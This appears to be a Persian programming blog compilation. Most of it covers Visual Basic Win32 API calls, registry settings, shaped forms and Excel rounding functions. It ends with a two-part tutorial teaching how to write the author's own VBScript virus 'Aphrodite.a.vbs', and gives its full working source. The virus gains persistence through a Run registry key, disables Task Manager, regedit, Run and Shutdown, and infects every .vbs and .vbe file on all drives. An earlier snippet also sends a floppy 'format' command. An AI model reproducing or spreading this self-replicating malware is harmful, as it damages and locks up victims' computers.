با جستجو در سایتهای برنامه نویسی وی بی که برخی از آنها را در وبلاگ نیز معرفی کرده ام می توانید کنترلهای دیگری نیز پیدا کنید .

2 – چگونه می توان در وی بی یک فایل با هر پسوندی را در یکی از درایوها اجرا کرد ؟
پاسخ : همانطور که قبلاً گفته ام برای Run کردن یک فایل اجرایی در وی بی بایستی از تابع ShellExecute استفاده نمایید . نحوه declare کردن آن بصورت زیر است :

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

حال فرض کنید می خواهید در مسیر D:TestShell فایلی به اسم Test.exe را توسط برنامه تان اجرا کنید . کد زیر بدین منظور نوشته شده است :

     Call ShellExecute(Me.hwnd, vbNullString, "D:TestShellTest.exe", "", "", SW_SHOWNORMAL)

3 – چگونه می توان هندل ( Handle ) یک Textbox را در یک پنجره بدست آورد ؟
پاسخ : برای بدست آوردن هندل پنجره برنامه ای که هم اکنون باز است از تابع FindWindow استفاده کنید . نحوه declare کردن آن بصورت زیر است :

Private Declare Function FindWindow Lib "user32"  Alias "FindWindowA"    (ByVal lpClassName As String, ByVal lpWindowName   As String) As Long

فرض کنید caption فرم برنامه مورد نظرتان در متغیر strWindowName قرار داشته باشد . با دستور زیر می توانید هندل پنجره آنرا بدست آورید :

Dim hwndFound As Long
hwndFound = FindWindow(vbNullString, strWindowName)

نکته : برای پیدا کردن هندل پنجره برنامه ای که caption آنرا بطور دقیق نمی دانید می توانید از تابع  FindWindowLike استفاده کنید .

حال که هندل پنجره مورد نظرتان را استخراج کردید می توانید با استفاده از تابع FindWindowEx هندل اشیا موجود در آن پنجره را بدست آورید . نحوه declare کردن این تابع بصورت زیر است :

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

این تابع را بصورت زیر استفاده کنید :

   htextbox = FindWindowEx(hwndFound, ByVal 0&, "ThunderRT6TextBox", vbNullString)

که ThunderRT6Textbox نام کلاس Rich Textbox ها در ویژوال بیسیک 6 است . دستور فوق هندل اولین Textbox موجود در پنجره را به شما بر می گرداند . برای بدست آوردن هندل سایر Textbox ها از حلقه زیر استفاده کنید :

  Dim lChild As Long
  Dim lLast As Long
  
Do
      lLast = lChild
      lChild = FindWindowEx(lParent, lChild, "ThunderRT6Textbox", vbNullString)
Loop While lChild

نکته : توسط تابع GetClassName می توانید نام کلاس سایر اشیا موجود در وی بی را بدست آورید .

4 – چگونه می توان در وی بی عکسی از نوع BMP را مستقیماً بصورت JPG ذخیره کرد ؟
پاسخ : روشهای مختلفی برای اینکار وجود دارد که من برخی از آنها را لیست می کنم :

- استفاده از یک OCX/DLL به اسم PicFormat32 : با استفاده از این ابزار می توانید یک فرمت تصاویر را بهم تبدیل کنید . برای اطلاعات بیشتر به اینجا مراجع کنید .

- استفاده از کتابخانه Intel JPEG : برای اطلاعات بیشتر به اینجا و اینجا مراجعه کنید .

- استفاده از کتابخانه vic32.dll : برای اطلاعات بیشتر به اینجا مراجعه کنید .

با جستجو در سایت Google می توانید روشهای دیگری نیز پیدا کنید .

5 - من قصد دارم یک برنامه دیکشنری بنویسم. از چه کنترلی استفاده کنم که بتوانم داده های مربوط به چند زبان را در آن فعال کنم و در همه ویندوز ها قابل رویت باشند. در ضمن میخواستم بدانم برنامه فاین ریدر قابلیت خواندن زبان فارسی را هم دارد یا نه. اگر نه آیا برنامه مشابهی که این قابلیت رو داشته باشد وجود دارد؟
پاسخ : در مورد ساخت برنامه های فارسی قبلاً مطلب نوشته ام اما در مورد سایر زبانها مطلبی پیدا نکردم . در مورد برنامه FineReader من تاکنون با این برنامه کار نکرده ام اما یک OCR فارسی به اسم واژه شناس  در نمایشگاه کتاب امسال توسط شرکت هوش مصنوعی رایورز عرضه شده بود . برای اطلاعات بیشتر به سایت این شرکت به آدرس http://www.stonicasoft.com/ مراجعه کنید .

6 - چطور میتوانم بین کامپیوتر و یک سخت افزار دیگر ارتباط برقرار کنم . مثلا یکLED را روشن و خاموش کنم ؟
پاسخ : برای اتصال کامپیوتر به یک سخت افزار می توانید از پورتهای سریال ، موازی و یا USB استفاده کنید . برای برنامه نویسی این پورتها نیز قبلاً مطالبی در وبلاگ نوشته ام که با مراجعه به آرشیو موضوعی می توانید آنها را بخوانید .

چگونه می توانیم دستورات Dos را از طریق ویژوال بیسیک اجرا کنیم ؟

ابتدا Command Prompt را فراخوانی می کنیم , خوب برای فراخوانی از تابع Shell استفاده میکنیم که قبلا در مورد این تابع توضیح داده ام :

Shell "cmd.exe"

:: اکنون یک شیء ایجاد می کنیم تا بتوانیم از طیق آن به هسته Dos دسترسی داشته باشیم :

Dim WinShell
Set WinShell = CreateObject("Wscript.shell")

خوب حالا می توانید به راحتی هر دستوری که دارید میتوانید اجرا کنید در آخر هم دستور تابع Sendkeys کلید Enter را اجرا کرده و دستور اجرا میشود:

WinShell.SendKeys " Dos دستور مورد نظر برای اجرا در "
WinShell.SendKeys "{ENTER}"

به مثاهای زیر توجه کنید که به ترتیب اولی برای ایجاد پوشه ای به نام Visual Basic در درایو C و دستور دوم برای نمایش پوشه های موجود در درایو C و دستور سوم برای Format فلاپی دیسک می باشد .

'For Create Folder With Dos Prompt :
WinShell.SendKeys "MD C:Visual" & " Basic"
WinShell.SendKeys "{ENTER}"

'For Showing C Directory :
WinShell.SendKeys "Dir C:"
WinShell.SendKeys "{ENTER}"

'For Format Floppy Disk Of Dos :
WinShell.SendKeys "format A:"
WinShell.SendKeys "{ENTER}"

یادداشتی بر روند کردن اعداد در اکسل

در کلاس برای شروع این مبحث اینچنین شروع می‌کنم که خانه‌های اکسل مثل آدمها و سکه‌ اند، یعنی دو رو دارند . یک ظاهر و و یک باطن .

مانند خانه‌ای که تاریخ 7/27/2006 را نشان می‌دهد اما باطن آن عدد 38925 است.

در کار با رقم های اعشار اعداد نیز ما همین حالت را داریم ، بدین ترتیب که اگر از Toolbar گزینه‌های Decrase Decimal و Incrase Decimal را انتخاب کنیم ، در واقع فقط ظاهر آن خانه تغییر کرده است و در صورتیکه روی این خانه عملیات ریاضی انجام دهیم ، باطن خانه در آن محاسبات شرکت خواهد کرد.







در مثال زیر این امر به وضوح مشخص است که در خانه عدد 123.1 نشان داده می‌شود اما در نوار فرمول مقدار واقعی این خانه که 123.1233 است را می‌بینیم.



منظور از روند کردن یک عدد، یعنی تغییر دائمی در رقمهای آن عدد.

روند کردن قسمت اعشار یک عدد

روند کردن قسمت صحیح یک عدد



تابع Round

برای گرد کردن تا تعداد رقم دلخواه اعشار بکار می‌رود ، بدین صورت که :

ROUNDUP(Number,Num_digits)

Number : عددی که می‌خواهیم آنرا روند کنیم.

Num_digits : دقت اعشار

اگر پارامتر دوم عدد مثبت باشد، رقم داده شده را با آن دقت اعشار داده شده گرد می‌کند (عدد 5 بستگی به رقم بعدش دارد ، اگر عدد بعد از 5 از 5 بیشتر باشد 5 به 6 گرد می‌شود)

· اگر صفر باشد فقط قسمت صحیح عدد را می‌دهد

· اگر عدد منفی باشد از سمت چپ ممیز شروع به گرد کردن می‌کند.



=ROUND(2.15, 1)

عدد 2.15 را تا یک رقم اعشار گرد می‌کند که می‌شود 2.1

=ROUND(2.149, 1)

Rounds 2.149 to one decimal place (2.1)

=ROUND(-1.475, 2)

Rounds -1.475 to two decimal places (-1.48)

=ROUND(21.5, -1)

Rounds 21.5 to one decimal place to the left of the decimal point (20)



ROUNDDOWN

گرد کردن اعداد به سمت صفر

=ROUNDDOWN(2.578;2)à2.57

ROUNDUP

گرد کردن اعداد دور از صفر

=ROUNDUP(2.578;2)à2.58

CEILING

عدد 2.4 را به نزدیکترین مضرب 2 که از خودش بیشتر است گرد می‌کند .

=CEILING(2.4;2) à 4

FLOOR

عدد 24 را به نزدیکترین مضرب صحیح 7 که از 24 کمتر است گرد می‌کند

=FLOOR(24;7) à 21

EVEN

عددی را به نزدیکترین عدد زوج بعداز خودش گرد می کند.

=EVEN(2.5) à 4

ODD

عددی را به نزدیکترین عدد فرد بعد از خودش گرد می‌کند.

=ODD(1.5) à 3

TRUNC

قسمت اعشاری را حذف می‌کند.

=TRUNC(8.9) à 8

MROUND

عددی را به مضربی دلخواه از عدد دیگر، گرد می‌کند.

=MROUND(10;3) à9

INR

جزء صحیح یک عدد را می‌دهد.

=INT(5.4) à 5



کاربرد ROUNDUP : فرض کنید که قرار است امتیاز افرادی را پس از یک سری محاسبات بدست آورید، اگر شما از تابع ROUND استفاده کنید ، چون اعداد 12.44 را تا یک رقم اعشار می‌کند 12.4 ، ممکن است فردی اعتراض کند که امتیاز او نادیده گرفته شده است ! آنهم در حد یکصدم ! بنابراین بهتر است از ROUNDUP استفاده کنیم که در هر حال امتیازی بیشتر را محاسبه می‌کند.



کاربرد CEILING : این تابع کار مثل راننده تاکسی‌ها عمل می‌کند، یعنی اگر کرایه شما 118 تومان شده باشد ، می‌گویند 125 تومان یا مثلا اگر کرایه شما شده باشد 233 تومان می‌گویند 250 تومان . البته این به این دلیل نیست که می‌خواهند پول بیشتری بگیرند ! بلکه به خاطر این است که در سیستم پولی ما 25 تومانی داریم اما 33 تومان نه. در واقع آنها عدد را به اولیل مضرب 25 بالاتر از کرایه گرد می‌کنند و ما در اکس می‌نویسیم :

=CEILING(کرایه , 25 ) J

بعی برای یافتن آخرین مقدار یک محدود – Visual Basic Function fo

تابعی برای یافتن آخرین مقدار یک محدود – Visual Basic Function for find last Value in a range

من یک مشکلی دارم در یک سلول میخواهم همیشه مقدار آخرین سلول پر شده یک محدوده از یک ستون را داشته باشم چگونه می توانم اینکار را انجام دهم لطفا هرچه سریعتر من را راهنمایی کنید.

اگر برایتان مقدور است

اردشیر







با سلام خدمت دوست عزیز



جواب سوال شما بدین ترتیب است که اگر محدوده شما پیوسته و تمامی سلولهای آن پر شده باشد ، می توانید از توابع زیر برای اینکار به سادگی استفاده کنید .

کار با این توابع را با ذکر مثالی نشان داده ام.

فرمول خانه D1 و D2 در شکل نشان داده شده است ،





A

B

C

D

E

F

1

Day

Num



Mon

< - - - -

=INDEX(A:B,COUNTA(A:A),1)

2

Sun

2



14

< - - - -

=INDEX(A:B,COUNTA(B:B),2)

3

Mon

4









4

Tue

6









5

Wed

8









6

Thu

10









7

Fri

12









8

Sat

14









9

Sun











10

Mon













اما اگر ! محدوه شما غیر پیوسته باشد حالت خاصی پیش می‌آید و فرمول نویسی آن با مراجع دورانی به سختی میسر است و می‌دانیم که مراجع دورانی حداکثر Iterations = 32767 خواهد بود و این درحالی است که شما 32536 خانه در اکسل دارید، پس اینهم نا کارآمد است. (البته اینکار انجام شدنی است).



اما راه حل اصولی اینگونه موارد نوشتن یک تابع ساده است و من این تابع را برای شما می‌نویسم ، برای استفاده از این تابع مراحل زیر را برای ایجاد آن طی کنید .




کلید Alt+F11 را با هم بزنید تا به محیط ویژوال بیسک بروید.
از منوی Insert گزینه Module را انتخاب کنید.
کدهای زیر را در آنجا Paste کنید.
از ویژال بیسیک با زدن گزینه Close خارج شوید.





Function FINDLASTVALUE(CellRange As Range)



' THIS FUNCTION FIND FINAL VALUE IN A SPECIFIC RANGE



For Each C In CellRange



If C.Value <> "" Then

FINDLASTVALUE = C.Value

End If



Next C



End Function



حال در اکسل تابعی به نام FINDLASTVALUE دارید که توسط آن می‌توانید مقدار آخرین خانه هر محدوده را پیدا کنید .

بعنوان مثال در اکسل می‌نویسیم :

=FINDLASTVALUE(A:A)

که آخرین مقدار را در محدوده ستون A برای ما پیدا می‌کند

تابع SaveSetting : ساخت کلید و ذخیره کردن تنظیمات در رجیستری

شکل کلی این دستور به صورت زیر است :

SaveSetting   AppName , Section,  Key , Setting

 AppName : این پارامتر مشخص کننده نام برنامه ( پروژه ) است . البته هر نوشته دیگری را هم می توانید به جای آن بنویسید این نوشته نام کلید اصلی در رجیستری را مشخص می کند .

Section : این پارامتر نام کلید زیر شاخه است که بیشتر از نام هایی مانند  Setting و Profile برای آن استفاده می شود .

Key : این پارامتر مشخص کننده نام کلیدی از نوع String است که در رجیستری ساخته می شود و تنظیمات در آن ذخیره می شوند .

Setting : این پارامتر هم که اصلی ترین بخش است و تنظیمات یا مقداری است که در کلید ذخیره می شود .

برای مثال دستور زیر مقدار "SkrSoft" را در کلیدی به نام TestKey ذخیره می کند :

SaveSetting "Test", "Profile", "TestKey", "SkrSoft"

» تابع GetSetting : خواندن تنظیمات از رجیستری

شکل کلی این دستور به صورت زیر است :

VarName = GetSetting   AppName , Section,  Key

که تمامی پارامتر های آن توضیح داده شده است فقط لازم به ذکر است که متغیر VarName یک متغیر رشته ای است که مقداری را که از رجیستری در یافت می شود درون خود نگه میدارد .

برای مثال دستور زیر مقدار "SkrSoft" را که قبلا ذخیره کرده ایم درون متغیر VarSkrSoft قرار می دهد :

VarSkrSoft = GetSetting ( "Test", "Profile", "TestKey")

شایان به ذکر است که کلیه کلیدها و مقادیری که ایجاد می شوند در آدرس زیر قرار می گیرند و ما نمی توانیم از آدرس دیگری برای ذخیره تنظیمات استفاده نماییم :

HKEY_CURRENT_USERSoftwareVB and VBA Program Settings

حالا میخواهیم با استفاده از نکاتی که فرا گرفتیم به آقا محمد حسین کمک کنیم .

مثال » برنامه ای که مختصات فعلی فرم را ذخیره می کند و با خروج از برنامه و اجرای مجدد آن فرم در محلی که قبل از خروج قرار داشته است ظاهر می شود . درضمن این برنامه دارای یک Check Box است که وضعیت آن در رجیستری ذخیره می شود .

اجراشدن خودکار برنامه هنگام راه اندازی

 برای اجراشدن خودکار برنامه هنگام راه اندازی ویندوز کد زیر را در رویداد Load

فرم برنامه تان کپی کنید :

Set Reg = CreateObject("wscript.shell")

Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"

فرمهایی بصورت یک نوشته

سلام

 

امیدوارم که درسهای قبلی بدردتون خورده باشه . امروز میخوام آموزش بدم چطوری فرمهایی با اشکال دلخواه ساخت .

 

آموزش فرم امروز ما به شکل یک نوشته است . روشی که امروز یاد خواهید گرفت به شما این امکان را خواهد داد که بتوانید فرمهایی با اشکال پیچیده بسازید .

 

در توابع API مفهومی به نام Path وجود دارد که در توابع ترسیمی ازآن استفاده می شود . برای ایجاد یک Path از دستورBeginpath  استفاده می کنیم .توابعی که برای این کار استفاده می کنیم عبارتند از :

 

1-  Textout -۲ Roundrect 3- Ellipse   ۴-  Rectangle 5 – Lineto

 

6 - Beginpath  7 – StrokeAndfillpath 8 – PathToRegion

 

۹ –  Setwindowrgn  10- Endpath

 

که پس از استفاده از توابع ترسیمی بایستی از عبارت Endpath استفاده کرد . در ضمن نحوه Declare کردن آنها را هم در زیر آورده ام.

 

برای اینکه منظورم را متوجه بشوید سورس یک برنامه را براتون مینویسم .

 

 

 

ابتدا این کدها را در ماژول کپی کنید.

 

 

 

Public Declare Function RoundRect Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long

 

Public Declare Function Rectangle Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long

 

Public Declare Function Ellipse Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long

 

Public Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long

 

Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long

 

Public Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long

 

Public Declare Function PathToRegion Lib "gdi32" (ByVal hdc As Long) As Long

 

Public Declare Function BeginPath Lib "gdi32" (ByVal hdc As Long) As Long

 

Public Declare Function EndPath Lib "gdi32" (ByVal hdc As Long) As Long

 

Public Declare Function StrokeAndFillPath Lib "gdi32" (ByVal hdc As Long) As Long

 

 

 

 

 

حالا این کدها را در فرمتون کپی کنید .

 

 

 

 

 

Dim m_drag As BooleanDim px As LongDim py As Long

 

Private Sub Form_Load()Me.ScaleMode = vbpixelsevba_drawpathStrokeAndFillPath hdc

 

vba_drawpathrgn = PathToRegion(hdc)

 

SetWindowRgn hWnd, rgn, TrueEnd SubPrivate Sub vba_drawpath()Me.DrawWidth = 2Me.BackColor = RGB(5, 255, 255)Me.FillStyle = vbDiagonalCrossMe.FillColor = RGB(240, 190, 100)

 

Me.FontName = "Arial black"

 

BeginPath hdc

 

Me.FontSize = 30TextOut hdc, 0, 0, "bitajavan", 10

 

Me.FontSize = 55TextOut hdc, 40, 25, "@", 1

 

Me.FontSize = 30TextOut hdc, 100, 35, "blogfa.com", 10RoundRect hdc, 30, 48, 400, 91, 10, 10

 

Me.Font.Italic = TrueMe.Font.Size = 10TextOut hdc, 100, 90, "b i j a n _ h o t 2 0 0 3 @ y a h o o . c o m . ", 46EndPath hdcEnd Sub

 

Private Sub form_mousedown(button As Integer, shift As Integer, x As Single, y As Single)Select Case buttonCase vbRightButtonUnload MeCase vbLeftButtonm_drag = Truepx = xpy = yEnd SelectEnd Sub

 

Private Sub form_mousemove(button As Integer, shift As Integer, x As Single, y As Single)If Not m_drag Then Exit SubMe.Move Me.Left + (x - px), Me.Top + (y - py)

 

End Sub

 

Private Sub form_mouseup(button As Integer, shift As Integer, x As Single, y As Single)m_drag = FalseEnd Sub

آموزش ویروس Aphrodite.a.vbs – قسمت دوم

این ویروس از دو قسمت تشکیل شده:

1.installation

2.infection

امروز قسمت installation این ویروس رو آموزش میدم که خیلی به شما در ضمینه نوشتن ویروس کمک میکنه.در این قسمت،ویروس،خودش را بر روی هر ویندوزی که باشد نصب میکند.کدهای قسمت اول ویروس رو در زیر مشاهده میکنید:

on error resume next set w = createobject("wscript.shell") rk = "HKCUSoftwareMicrosoftWindows Script HostSettingsTimeout" tmo = w.regread(rk) if not(tmo = 0) then w.RegWrite rk ,0,"REG_DWORD" end if set f = createobject("scripting.filesystemobject") set s = f.getspecialfolder(1) h = s & "aphrodite.vbs" set m = f.opentextfile(wscript.scriptfullname) c = m.readall if f.fileexists(h) = false then f.copyfile wscript.scriptfullname, h set l = f.getfile(h) l.attributes = 1 else set o = f.opentextfile(h,1) e = o.readall i1 = instr(1, e, ".::aphrodite.vbs::.", 1) if i1 = 0 then l.attributes = 0 f.copyfile wscript.scriptfullname, h l.attributes = 1 end if end if lm = "HKLMSOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN" er = w.regread(lm & "aphrodite") if not(er = h) then w.regwrite lm & "aphrodite", h end if cu = "HKCUsoftwaremicrosoftwindowscurrentversionpolicies" w.regwrite cu & "systemdisableregistrytools",1, "REG_DWORD" w.regwrite cu & "systemdisabletaskmgr",1, "REG_DWORD" w.regwrite cu & "ExplorerNoRun", 1, "REG_DWORD" w.regwrite cu & "ExplorerNoClose", 1, "REG_DWORD"

خط اول رو که همتون میدونید.در خط دوم ما شئ wscript.shell را برای دسترسی به رجیستری تعریف میکنیم.در خط سوم متغیری به نام rk را مقدار دهی کردم و در خط چهارم از متد regread برای خوندن رجیستری استفاده کردم.چیزی که خونده شده همان rk بوده.rk در این جا همان مسیر تنظیمات timeout برای فایل های vbs میباشد.خب ما در خط چهارم مقدار این مسیر در رجیستری رو خوندیم و در متغیر tmo قرار دادیم.در خط پنجم میگه که اگه tmo برابر صفر نبود کدهای بعدی رو اجرا میکنه.کد بعدی کد خط ششم است که مقدار صفر را برابر آن مقدار در رجیستری قرار میدهد.اگر این مقدار یک باشد،ویروس پس از یک ثانیه از کار میفته اما قبل از این که یک ثانیه بشه،ویروس این مقدار رو برابر صفر میکنه که یعنی غیرفعال.خط هفتمم که پایان شرطی بود که گذاشتیم.در خط هشتم هم شیئ fso را برای دسترسی به فایل ها،فولدر ها و درایو ها تعریف کردم و در خط نهم با متد getspecialfolder مسیر پوشه سیستم ویندوز رو به دست میاریم و در خط دهم یه مسیر به نام h رو تعریف میکنیم که قراره مسیر ویروس در کامپیوتر قربانی باشه.در خط یازدهم ویروس خودشو به عنوان یک فایل متنی باز میکند و در خط دوازدهم تمام محتویات و کدهای خودش را میخواند و در متغیر c قرار میدهد.در خط سیزدهم چک میکند که آیا فایلی با مسیر h وجود داره یا نه.اگه وجود نداشته باشه کد خط های بعدی را اجرا میکند.در خط چهاردهم خودش رو در مسیر h کپی میکنه و سپس در خط پانزده با متد getfile مشخصات فایلی با مسیر h رو میگیره و سپس در خط شانزدهم attributes فایل رو برابر یک قرار میده که همان readonly خالی میشود.اگر خط پانزدهم انجام نشود،خط شانزدهم هم انجام نخواهد شد.در خط هفدهم فقط عبارت else رو میبینید.یعنی اگه طور دیگه باشه و فایلی با مسیر h وجود داشته باشه،کدهای بهدی را تا end if اجرا کند.در خط هجدهم فایل با مسیر h را به صورت یک فایل متنی باز میکند و در خط نوزدهم تمام کدهای فایل را میخواند و در متغیر o قرار میدهد.در خط بیستم چک میکند که آیا عبارت .::Aphrodite.vbs::. در این فایل وجود داره یا نه.در خط بیست و یکم میگوید که اگر این عبارت در فایل وجود نداشته باشه کد خط های بعدی رو اجرا کنه.عبارت .::Aphrodite.vbs::. یک رمز است که مشخص میکند که آیا آن فایل همان ویروس خودمان میباشد یا نه.اگر نه در خط بیست و دوم attributes فایل رو برابر صفر یا همون عادی قرار میدیم و در خط بیست و سوم خودمون رو به جای اون فایل کپی میکنیم و سپس در خط بیست و چهارم دوباره attributes فایل رو برابر یک قرار میدیم که همون readonly خالیه.خط بییست و پنجم و بیست و ششم هم پایان شرط هایی که گذاشتیم رو مشخص میکنه.در خط بیست و هفتم یک مقدار در رجیستری را تعریف میکنیم و در متغیر lm قرار میدیم.در خط بیست و هشتم این مسیر در رجیستری را + Aphrodite میخونیم و در متغیر er قرار میدیم.در خط بیست و نهم میگیم که اگر er برابر h نبود،در خط سی یک مقدار در رجیستری نوشته بشه که باعث میشه ویروس در هر بار اجرای ویندوز اجرا بشه و  خط سی و یکم هم پایان شرطه.در خط سی و دوم یک مسیر در رجیستری را تعریف میکنیم و در متغیر cu قرار میدیم و در خط سی و سوم یک مقدار در رجیستری مینویسیم که باعث غیرفعال شدن regedit میشود.خط های بعدی هم همین کار را انجام میدهند با این تفاوت که خط سی و چهارم taskmanager غیرقعال میشود.غیرفعال شدن regedit و taskmanager به این صورت نیازی به log off یا restart کردن ویندوز نداره ولی در خط سی و پنجم ویروس run موجود در startmenu را غیرفعال میکند و خط سی و ششم هم باعث غیرفعال شدن shutdown موجود در startmenu میشود که این دو نیاز به log off یا restart ویندوز دارند.در این جا قسمت installation ویروس پایان میپذیرد و در پست بعدی قسمت infection ویروس یا همون آلوده کردن فایل ها توسط ویروس رو آموزش میدم

--------------------------------------------------------------------------------------------------------

دانلود ویروس Aphrodite.a.vbs رو که خودم نوشتمش رو تو وبلاگ گذاشتم.همون طور که در پست قبل گفتم این ویروس دارای دو قسمت است.در پست قبل قسمت installation این ویروس رو آموزش دادم و تو این پست قسمت infection ویروس رو آموزش میدم.در این قسمت،ویروس فایل های vbs و vbe موجود در تمام درایوهای کامپیوتر را آلوده می کند.کدهای قسمت دوم ویروس رو در زیر میبینید:

set drives=f.drives for each drive in drives if drive.isready then dosearch drive & "" end If next function dosearch(path) on error resume next set folder=f.getfolder(path) set files = folder.files for each file in files t=f.getextensionname(file.path) t=lcase(t) if (t="vbs") or (t="vbe") then fp = (file.path) set k = f.opentextfile(fp, 1) k1 = k.readall k2= instr(1, k1, ".::aphrodite.vbs::.", 1) if k2 = 0 then set d = f.getfile(fp) v = d.attributes d.attributes = 0 set k3 = f.opentextfile(fp, 8) k3.writeline(" ") k3.writeline(c) d.attributes = v end if end if next set subfolders = folder.subfolders for each subfolder in subfolders dosearch subfolder.path Next end function

خط اول تا ششم:

در خط اول ویروس با کمک شیئ fso ،تمام درایو های کامپیوتر را می گیرد و سپس در متغیر drives قرار می دهد.در خط دوم از حلقه for-next استفاده شده است.به این صورت که برای هر درایوی کد خط های بعدی را تا جایی که به next برسد اجرا می کند.در خط سوم اگر درایو آماده باشد کد خط های بعدی تا جایی که به end if برسد اجرا می شود.خط چهارم تابع dosearch را اجرا می کند و کنترل برنامه را به این تابع می دهد.همچنین مسیر درایوی که پیدا کرده هم به عنوان متغیر این function معرفی می کند.خط پنجم هم پایان شرطی بود که گذاشته بودیم و خط ششم هم باعث پیدا کردن درایو بعدی می شود.

در خط هفتم،مسیر درایو در متغیر path قرار می گیرد.خط هشتم برای این است که اگر در هنگام عملیات ویروس خطایی رخ دهد،اجرای ویروس متوقف نگردد.در خط نهم،ویروس با کمک شیئ fso ،اطلاعاتی راجع به مسیر path می گیرد و در متغیر folder قرار می دهد.در خط دهم،مسیر فایل های موجود در متغیر folder ،گرفته می شوند اما اگر subfolder وجود داشته باشد،مسیر فایل هایش بعدا" گرفته می شوند.خط یازدهم برای هر فایل موجود در آن مسیر،کدهای خط های بعدی را اجرا می کند تا جایی که به عبارت next برسد.در خط دوازدهم،پسوند سه حرفی فایل دریافت می شود و سپس در خط سیزدهم،پسوند فایل به حروف کوچک تبدیل می شود.خط چهاردهم هم می گوید که اگر پسوند فایل vbs یا vbe بود کد خط های بعدی اجرا شوند تا جایی که به end if برسد.در خط پانزدهم مسیر فایل در متغیر fp قرار می گیرد.در خط شانزدهم فایل به صورت متنی برای خواندن باز می شود و در خط هفدهم تمام محتویات فایل در متغیر k1 قرار می گیرد.خط هجدهم هم چک می کند که آیا محتویات k1 دارای علامت .::aphrodite.vbs::. هست یا خیر.این یک رمز است که مشخص می کند آیا آن فایل قبلا" آلوده شده است یا نه.خط نوزدهم می گوید که اگر فایل آلوده نشده،کد خط های بعدی اجرا شود تا زمانی که به end if برسد.در خط بیستم،اطلاعاتی راجع به فایل را دریافت می کنیم و در خط بیست و یکم،attributes فایل را در متغیر v قرار می دهیم و سپس attributes فایل را در خط بیست و دوم برابر صفر قرار می دهیم و در خط بیست و سوم هم فایل به صورت متنی برای اضافه کردن به انتهای فایل باز می شود.در خط بیست و چهارم،یک عبارت خالی را در فایل قرار می دهیم که باعث می شود تا تمام اطلاعاتی که بعدا" می خواهیم در فایل بنویسیم،در خط بعدی از عبارت خالی قرار بگیرند و اطلاعات ویروس درست پشت سر اطلاعات فایل قرار نگیرند و مشکلی رخ ندهد.در خط بیست و پنجم هم کدهای ویروس در فایل قرار می گیرند و در خط بیست و ششم هم attributes فایل برابر با v می شود و خط بیست و هفتم و بیست و هشتم هم پایان شرط هایی بود که گذاشته بودیم.خط بیست و نهم هم باعث پیدا شدن فایل بعدی می شود.در خط سی، subfolder های موجود در مسیر path در متغیر subfolders قرار می گیرند و در خط سی و یکم حلقه for-next وجود دارد که برای هر subfolder موجود در متغیر subfolders ،کد خط بعدی را اجرا می کند.کد خط سی و دوم،تابع dosearch را دوباره اجرا می کند با این تفاوت که این بار مسیر subfolder در متغیر path قرار می گیرد.خط سی و سوم، subfolder بعدی را پیدا می کند و خط سی و چهارم پایان function و پایان قسمت دوم ویروس است.